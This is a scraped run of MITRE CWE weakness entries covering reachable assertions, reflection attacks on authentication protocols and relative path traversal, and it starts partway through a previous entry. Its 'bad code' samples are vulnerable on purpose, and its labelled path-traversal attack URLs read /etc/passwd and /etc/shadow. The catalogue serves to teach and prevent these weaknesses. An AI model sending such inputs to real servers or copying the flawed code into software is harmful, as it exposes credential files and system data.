CERT C Secure CodingCON40-CCWE More AbstractDo not refer to an atomic variable twice in an expression
CERT C Secure CodingCON43-CExactDo not allow data races in multithreaded code
The CERT Oracle Secure Coding Standard for Java (2011)VNA02-JEnsure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)VNA03-JDo not assume that a group of calls to independently atomic methods is atomic
Software Fault PatternsSFP19Missing Lock
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Race Conditions", Page 759. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-617: Reachable Assertion

Weakness ID: 617
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.
+ Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

+ Alternate Terms
assertion failure
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.
+ Demonstrative Examples

Example 1

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

(bad code)
Example Language: Java 
String email = request.getParameter("email_address");
assert email != null;
+ Observed Examples
ReferenceDescription
Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617)
FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure.
Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure.
Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure.
Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure.
Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.
Anti-virus product has assert error when line length is non-numeric.
+ Potential Mitigations

Phase: Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Phase: Implementation

Strategy: Input Validation

Perform input validation on user data.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET01-JNever use assertions to validate method arguments
Software Fault PatternsSFP3Use of an improper API
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2019-09-19CWE Content TeamMITRE
updated Alternate_Terms
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples

CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID: 301
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.
+ Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.327Use of a Broken or Risky Cryptographic Algorithm
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
const EVP_MD *m;
EVP_MD_CTX ctx;
unsigned char *ret;
OpenSSL_add_all_digests();
if (!(m = EVP_get_digestbyname(alg))) return NULL;
if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
EVP_DigestInit(&ctx, m);
EVP_DigestUpdate(&ctx,buf,len);
EVP_DigestFinal(&ctx,ret,olen);
return ret;
}
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
simple_digest("sha1",password,strlen(password_and_cmd)
...
);
}
(bad code)
Example Language: Java 
String command = new String("some cmd to execute & the password") MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
byte[] digest = encer.digest();
+ Observed Examples
ReferenceDescription
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
+ Potential Mitigations

Phase: Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

Phase: Architecture and Design

Let the initiator prove its identity before proceeding.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPReflection attack in an auth protocol
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Insufficient Validation", Page 38. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Description, Other_Notes
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Type
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-23: Relative Path Traversal

Weakness ID: 23
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
+ Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
+ Alternate Terms
Zip Slip:
"Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.24Path Traversal: '../filedir'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.25Path Traversal: '/../filedir'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.26Path Traversal: '/dir/../filename'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.27Path Traversal: 'dir/../../filename'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.28Path Traversal: '..\filedir'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.29Path Traversal: '\..\filename'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.30Path Traversal: '\dir\..\filename'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.31Path Traversal: 'dir\..\..\filename'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.32Path Traversal: '...' (Triple Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.33Path Traversal: '....' (Multiple Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.34Path Traversal: '....//'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.35Path Traversal: '.../...//'
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.
+ Demonstrative Examples

Example 1

The following URLs are vulnerable to this attack:

(bad code)
 
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html

A simple way to execute this attack is like this:

(attack code)
 
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd

Example 2

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

+ Observed Examples
ReferenceDescription
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
